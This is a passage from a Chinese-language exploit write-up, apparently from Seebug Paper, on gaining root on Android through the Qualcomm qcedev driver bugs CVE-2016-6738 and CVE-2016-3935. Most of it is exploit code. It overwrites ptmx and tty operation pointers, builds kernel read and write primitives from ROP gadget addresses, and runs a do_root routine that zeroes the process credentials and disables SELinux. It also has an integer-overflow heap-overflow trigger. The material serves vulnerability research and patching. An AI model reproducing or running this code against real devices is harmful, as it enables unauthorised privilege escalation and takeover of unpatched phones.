return -1;
}
return 0;
}
參數 src 就是 fake_ptmx_fops 加密后的值,我們將其地址放入 qcedev_cipher_op_req.vbuf.src[0].vaddr 里,目標地址 qcedev_cipher_op_req.vbuf.dst[0].vaddr 存放 ptmx_cdev->ops 的地址,然后調用 ioctl 觸發漏洞,任意地址寫漏洞觸發后,目標地址 ptmx_cdev->ops 的值會被覆蓋為 fake_ptmx_fops.
此后,對 ptmx 設備的內核fops函數執行,都會被重定向到用戶層偽造的函數,我們通過一些 rop 片段來實現偽函數,就可以被內核直接調用。
/*
* rop write:
* ffffffc000671a58: b9000041 str w1, [x2]
* ffffffc000671a5c: d65f03c0 ret
*/
#define ROP_WRITE 0xffffffc000671a58
比如,我們找到一段 rop 如上,其地址是 0xffffffc000671a58, 其指令是 str w1, [x2] ; ret ;
這段 rop 作為一個函數去執行的話,其效果相當于將第二個參數的值寫入第三個參數指向的地址。
我們用這段 rop 構造一個用戶態函數,如下
static int kernel_write_32(unsigned long addr, unsigned int val)
{
unsigned long arg;
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;
arg = addr;
ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
return 0;
}
9*8 是 ioctl 函數在 file_operations 結構體里的偏移,
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;
的效果就是 ioctl 的函數實現替換成 ROP_WRITE, 這樣我們調用 ptmx 的 ioctl 函數時,最后真實執行的是 ROP_WRITE, 這就是一個內核任意地址寫任意值函數。
同樣的原理,我們封裝讀任意內核地址的函數。
有了任意內核地址讀寫函數之后,我們通過以下方法完成最終提權:
static int do_root(void)
{
int ret;
unsigned long i, cred, addr;
unsigned int tmp0;
/* search myself */
ret = get_task_by_comm(&my_task);
if(ret != 0) {
printf("[-] get myself fail!\n");
return -1;
}
if(!my_task || (my_task < 0xffffffc000000000)) {
printf("invalid task address!");
return -2;
}
ret = kernel_read(my_task + cred_offset, &cred);
if (cred < KERNEL_BASE) return -3;
i = 1;
addr = cred + 4 * 4;
ret = kernel_read_32(addr, &tmp0);
if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
i += 4;
addr = cred + (i+0) * 4;
ret = kernel_write_32(addr, 0);
addr = cred + (i+1) * 4;
ret = kernel_write_32(addr, 0);
...
ret = kernel_write_32(addr, 0xffffffff);
addr = cred + (i+16) * 4;
ret = kernel_write_32(addr, 0xffffffff);
/* success! */
// disable SELinux
kernel_write_32(SELINUX_ENFORCING, 0);
return 0;
}
搜索到本進程的 cred 結構體,并使用我們封裝的內核讀寫函數,將其成員的值改為0,這樣本進程就變成了 root 進程。
搜索本進程 task_struct 的函數 get_task_by_comm 具體實現參考 github 的代碼。
CVE-2016-3935 漏洞利用
這個漏洞的提權方法跟 6738 是一樣的,唯一不同的地方是,這是一個堆溢出漏洞,我們只能覆蓋堆里邊的 fops (cve-2016-6738 我們覆蓋的是 .data 區里的 fops )。
在我測試的版本里,k_buf_src 是從 kmalloc-4096 分配出來的,因此,需要找到合適的結構來填充 kmalloc-4096 ,經過一些源碼搜索,我找到了 tty_struct 這個結構
include/linux/tty.h
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
...
}
在我做利用的設備里,這個結構是從 kmalloc-4096 堆里分配的,其偏移 24Byte 的地方是一個 struct tty_operations 的指針,我們溢出后重寫這個結構體,用一個用戶態地址覆蓋這個指針。
#define TTY_MAGIC 0x5401
void trigger(int fd)
{
#define SIZE 632 // SIZE = sizeof(struct tty_struct)
int ret, cmd, i;
struct qcedev_sha_op_req params;
int *magic;
unsigned long * ttydriver;
unsigned long * ttyops;
memset(¶ms, 0, sizeof(params));
params.entries = 9;
params.data_len = SIZE;
params.authklen = 16;
params.authkey = &trigger_buf[0];
params.alg = QCEDEV_ALG_AES_CMAC;
// when tty_struct coming from kmalloc-4096
magic =(int *) &trigger_buf[4096];
*magic = TTY_MAGIC;
ttydriver = (unsigned long*)&trigger_buf[4112];
*ttydriver = &trigger_buf[0];
ttyops = (unsigned long*)&trigger_buf[4120];
*ttyops = fake_ptm_fops;
params.data[0].len = 4128;
params.data[0].vaddr = &trigger_buf[0];
params.data[1].len = 536867423 ;
params.data[1].vaddr = NULL;
for (i = 2; i < params.entries; i++) {
params.data[i].len = 0x1fffffff;
params.data[i].vaddr = NULL;
}
cmd = QCEDEV_IOCTL_SHA_UPDATE_REQ;
ret = ioctl(fd, cmd, ¶ms);
if(ret<0) {
printf("[-] ioctl fail %s\n",strerror(errno));
return;
}
printf("[+] succ trigger\n");
}
4128 + 536867423 + 7 * 0x1fffffff = 632
溢出的方法如上,我們讓 entry 的數目為 9 個,第一個長度為 4128, 第二個為 536867423, 其他7個為0x1fffffff
這樣他們加起來溢出之后的值就是 632, 這個長度剛好是 struct tty_struct 的長度,我們用 qcedev_sha_op_req.data[0].vaddr[4096] 這個數據來填充被溢出的 tty_struct 的內容
主要是填充兩個地方,一個是最開頭的 tty magic, 另一個就是偏移 24Bype 的 tty_operations 指針,我們將這個指針覆蓋為偽指針 fake_ptm_fops.
之后的提權操作與 cve-2016-6738 類似,
include/linux/tty_driver.h
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
}
如上,ioctl 函數在 tty_operations 結構體里偏移 12 個指針,當我們用 ROP_WRITE 覆蓋這個位置時,可以得到一個內核地址寫函數。
#define ioctl_syscall(n, efd, cmd, arg) \
eabi_syscall(n, efd, cmd, arg)
ENTRY(eabi_syscall)
mov x8, x0
mov x0, x1
mov x1, x2
mov x2, x3
mov x3, x4
mov x4, x5
mov x5, x6
svc #0x0
ret
END(eabi_syscall)
/*
* rop write
* ffffffc000671a58: b9000041 str w1, [x2]
* ffffffc000671a5c: d65f03c0 ret
*/
#define ROP_WRITE 0xffffffc000671a58
static int kernel_write_32(unsigned long addr, unsigned int val)
{
unsigned long arg;
*(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_WRITE;
arg = addr;
ioctl_syscall(__NR_ioctl, fake_fd, val, arg);
return 0;
}
同理,當我們用 ROP_READ 覆蓋這個位置時,可以得到一個內核地址寫函數。
/*
* rop read
* ffffffc000300060: f9405440 ldr x0, [x2,#168]
* ffffffc000300064: d65f03c0 ret
*/
#define ROP_READ 0xffffffc000300060
static int kernel_read_32(unsigned long addr, unsigned int *val)
{
int ret;
unsigned long arg;
*(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_READ;
arg = addr - 168;
errno = 0;
ret = ioctl_syscall(__NR_ioctl, fake_fd, 0xdeadbeef, arg);
*val = ret;
return 0;
}
最后,用封裝好的內核讀寫函數,修改內核的 cred 等結構體完成提權。
參考
[2] xairy
[3] New Reliable Android Kernel Root Exploitation Techniques
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/372/